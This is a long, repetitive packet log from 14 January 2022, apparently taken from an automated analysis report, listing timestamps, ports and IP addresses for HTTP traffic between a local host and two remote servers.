Jan 14, 2022 02:05:17.076371908 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076401949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076412916 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076442957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076482058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076519012 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076529980 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076559067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076572895 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076598883 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076638937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076678991 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076689959 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076715946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076726913 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076756001 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076793909 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076832056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076854944 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076870918 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076893091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.076910019 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076951027 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.076991081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077007055 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077028036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077039957 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077068090 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077107906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077145100 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077157021 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077184916 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077189922 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077223063 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077261925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077302933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077325106 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077339888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077361107 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077379942 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077418089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077472925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077480078 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077512026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077514887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077552080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077589989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077594042 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077629089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077667952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077707052 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.077708006 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.077775955 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.081516027 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.081604004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.081994057 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082073927 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082113028 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082173109 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082222939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082262993 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082303047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082340956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082354069 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082379103 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082391977 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082521915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082564116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082602978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082618952 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082638979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082653046 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082679033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082720995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082758904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082776070 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082797050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082808971 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082835913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082874060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082912922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082921982 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082952023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.082953930 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.082990885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083030939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083066940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083091974 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083108902 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083127022 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083147049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083184004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083219051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083223104 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083261013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083271980 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083301067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083340883 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083379030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083391905 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083417892 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083417892 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083456039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083493948 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083533049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083544016 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083570957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083574057 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083610058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083648920 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083687067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083703995 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083735943 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083772898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083812952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083851099 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083894968 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083898067 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083936930 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.083941936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.083980083 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084018946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084058046 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084064960 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084096909 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084099054 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084136009 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084175110 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084213972 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084222078 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084254026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084259033 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084290981 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084331036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084369898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084377050 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084407091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084414005 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084446907 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084485054 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084525108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084538937 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084566116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084603071 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084606886 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084645987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084662914 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.084685087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.084733963 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.116518974 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.148921967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149070024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149127007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149166107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149168015 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149205923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149207115 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149243116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149310112 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149339914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149379969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149418116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149456024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149466991 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149493933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149499893 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149533033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149573088 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149610043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149616003 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149647951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149651051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149688005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149724960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149764061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149770975 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149802923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149813890 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.149842024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149941921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149981022 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.149996042 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150017977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150036097 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150057077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150096893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150136948 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150140047 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150177002 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150181055 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150214911 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150254965 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150293112 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150305986 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150330067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150335073 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150368929 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150407076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150444984 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150450945 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150485039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150490046 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150521994 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150561094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150599957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150609970 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150636911 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150643110 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150675058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150713921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150753975 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150758982 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150794029 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.150800943 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.150830030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.151113033 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.155364037 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.155411005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.155451059 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.155469894 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.155589104 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156008959 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156322956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156368971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156408072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156446934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156471968 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156483889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156493902 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156523943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156562090 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156569004 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156601906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156641960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156678915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156692028 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156719923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156724930 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156758070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156796932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156824112 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156836033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156874895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156886101 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.156914949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156954050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.156991005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157001972 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157031059 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157033920 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157069921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157121897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157160044 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157175064 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157197952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157203913 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157238007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157278061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157298088 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157314062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157352924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157392979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157397985 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157432079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157459974 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157469988 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157509089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157547951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157552958 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157588005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157601118 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157625914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157663107 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157665014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157705069 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157742977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157759905 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157782078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157820940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157882929 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157888889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157931089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.157952070 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.157970905 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158009052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158035040 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158047915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158087015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158092976 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158127069 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158164978 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158165932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158205986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158245087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158245087 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158299923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158337116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158376932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158395052 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158423901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158430099 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158462048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158499956 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158500910 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158540010 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158577919 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158617020 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158627033 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158654928 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158658981 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158694029 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158735037 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158772945 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.158777952 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.158813000 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.166884899 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.167140961 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.185484886 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.221571922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221617937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221636057 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221669912 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.221690893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221709013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221740007 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.221757889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221806049 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.221818924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221884012 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.221936941 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.221961975 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222002983 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222033024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222055912 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222084999 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222094059 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222103119 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222120047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222136974 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222141981 CET	49879	80	192.168.2.3	141.8.194.74
